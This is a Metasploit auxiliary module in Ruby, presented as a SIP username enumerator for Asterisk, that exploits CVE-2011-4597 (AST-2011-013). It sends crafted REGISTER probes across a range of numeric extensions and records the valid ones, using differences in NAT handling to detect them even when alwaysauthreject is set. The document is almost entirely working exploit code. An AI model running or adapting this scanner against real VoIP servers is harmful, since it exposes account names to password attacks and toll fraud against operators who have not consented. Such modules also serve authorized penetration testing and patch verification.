SIP Username Enumerator For Asterisk

`require 'msf/core'  
  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'SIP Username Enumerator for Asterisk (UDP) Security Advisory AST-2011-013, CVE-2011-4597',  
'Version' => '$Revision: 1 $',  
'Description' => 'REGISTER scan for numeric peer usernames having a nat setting different to global sip nat setting. ' <<  
'Works even when alwaysauthreject=yes. For this exploit to work, the source port cannot be 5060. ' <<  
'For more details see Asterisk Project Security Advisory - AST-2011-013',  
'Author' => 'Ben Williams',  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),  
OptInt.new('MINEXT', [true, 'Starting extension',0]),  
OptInt.new('MAXEXT', [true, 'Ending extension', 9999]),  
OptInt.new('PADLEN', [true, 'Cero padding maximum length', 4]),  
Opt::RPORT(5060),  
Opt::CHOST,  
Opt::CPORT(5070) # Source port must *not* be 5060 for this exploit to work.  
], self.class)  
end  
  
  
# Define our batch size  
def run_batch_size  
datastore['BATCHSIZE'].to_i  
end  
  
# Operate on an entire batch of hosts at once  
def run_batch(batch)  
  
begin  
udp_sock = udp_sock_5060 = recv_sock = nil  
idx = 0  
global_nat = ''  
  
  
# SIP responses are either sent back to our source port or to 5060  
# so we need to have two sockets.  
  
# Create an unbound UDP socket if no CHOST is specified, otherwise  
# create a UDP socket bound to CHOST (in order to avail of pivoting)  
udp_sock = Rex::Socket::Udp.create(  
{  
'LocalHost' => datastore['CHOST'] || nil,  
'LocalPort' => datastore['CPORT'].to_i,  
'Context' => { 'Msf' => framework, 'MsfExploit' => self }  
}  
)  
add_socket(udp_sock)  
  
udp_sock_5060 = Rex::Socket::Udp.create(  
{  
'LocalHost' => datastore['CHOST'] || nil,  
'LocalPort' => 5060,  
'Context' => { 'Msf' => framework, 'MsfExploit' => self }  
}  
)  
add_socket(udp_sock_5060)  
  
mini = datastore['MINEXT']  
maxi = datastore['MAXEXT']  
  
  
batch.each do |ip|  
# First create a probe for a nonexistent user to test what the global nat setting is.  
# If the response arrives back on the same socket, then global nat=yes,   
# and the scanner will proceed to find devices that have nat=no.  
# If the response arrives back on 5060, then global nat=no (default),  
# and the scanner will proceed to find devices that have nat=yes.  
data = create_probe(ip,"thisusercantexist")  
begin  
udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0)  
rescue ::Interrupt  
raise $!  
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused  
nil  
end  
  
r = udp_sock.recvfrom(65535, 1) # returns [data,host,port]  
if r[1]  
global_nat = "yes"  
else  
r = udp_sock_5060.recvfrom(65535, 1)  
if r[1]  
global_nat = "no"  
end  
end  
  
if global_nat == ''  
print_error("No response from server for initial test probe.")  
return  
else  
print_status("Asterisk appears to have global nat=#{global_nat}.")  
end  
  
recv_sock = (global_nat == "no") ? udp_sock : udp_sock_5060  
  
for i in (mini..maxi)  
testext = padnum(i,datastore['PADLEN'])  
  
data = create_probe(ip,testext)  
  
begin  
udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0)  
rescue ::Interrupt  
raise $!  
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused  
nil  
end  
  
if (idx % 10 == 0)  
while (r = recv_sock.recvfrom(65535, 0.02) and r[1])  
parse_reply(r)  
end  
end  
  
idx += 1  
end  
end  
  
while (r = recv_sock.recvfrom(65535, 3) and r[1])  
parse_reply(r)  
end  
  
rescue ::Interrupt  
raise $!  
rescue ::Exception => e  
print_error("Unknown error: #{e.class} #{e}")  
ensure  
udp_sock.close if udp_sock  
udp_sock_5060.close if udp_sock_5060  
end  
end  
  
#  
# The response parsers  
#  
def parse_reply(pkt)  
  
return if not pkt[1]  
  
if(pkt[1] =~ /^::ffff:/)  
pkt[1] = pkt[1].sub(/^::ffff:/, '')  
end  
  
resp = pkt[0].split(/\s+/)[1]  
return if resp == '100' # ignore provisional responses, we will get a 401 next packet.  
  
rhost,rport = pkt[1], pkt[2]  
  
if(pkt[0] =~ /^To\:\s*(.*)$/i)  
testn = "#{$1.strip}".split(';')[0]  
end  
  
print_status("Found user: #{testn} [Auth]")  
#Add Report  
report_note(  
:host => rhost,  
:proto => 'udp',  
:sname => 'sip',  
:port => rport,  
:type => "Found user: #{testn} [Auth]",  
:data => "Found user: #{testn} [Auth]"  
)  
end  
  
def create_probe(ip,toext)  
suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)  
shost = Rex::Socket.source_address(ip)  
  
data = "REGISTER sip:#{toext}@#{ip} SIP/2.0\r\n"  
data << "Via: SIP/2.0/UDP #{shost};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n"  
data << "From: #{toext} <sip:#{suser}@#{shost}>;tag=70c00e8c\r\n"  
data << "To: #{toext} <sip:#{toext}@#{ip}>\r\n"  
data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"  
data << "CSeq: 101 REGISTER\r\n"  
data << "Contact: <sip:#{suser}@#{shost}>\r\n"  
data << "Content-Length: 0\r\n"  
data << "Max-Forwards: 20\r\n"  
end  
  
def padnum(num,padding)  
if padding >= num.to_s.length  
('0'*(padding-num.to_s.length)) << num.to_s  
end  
end  
end  
`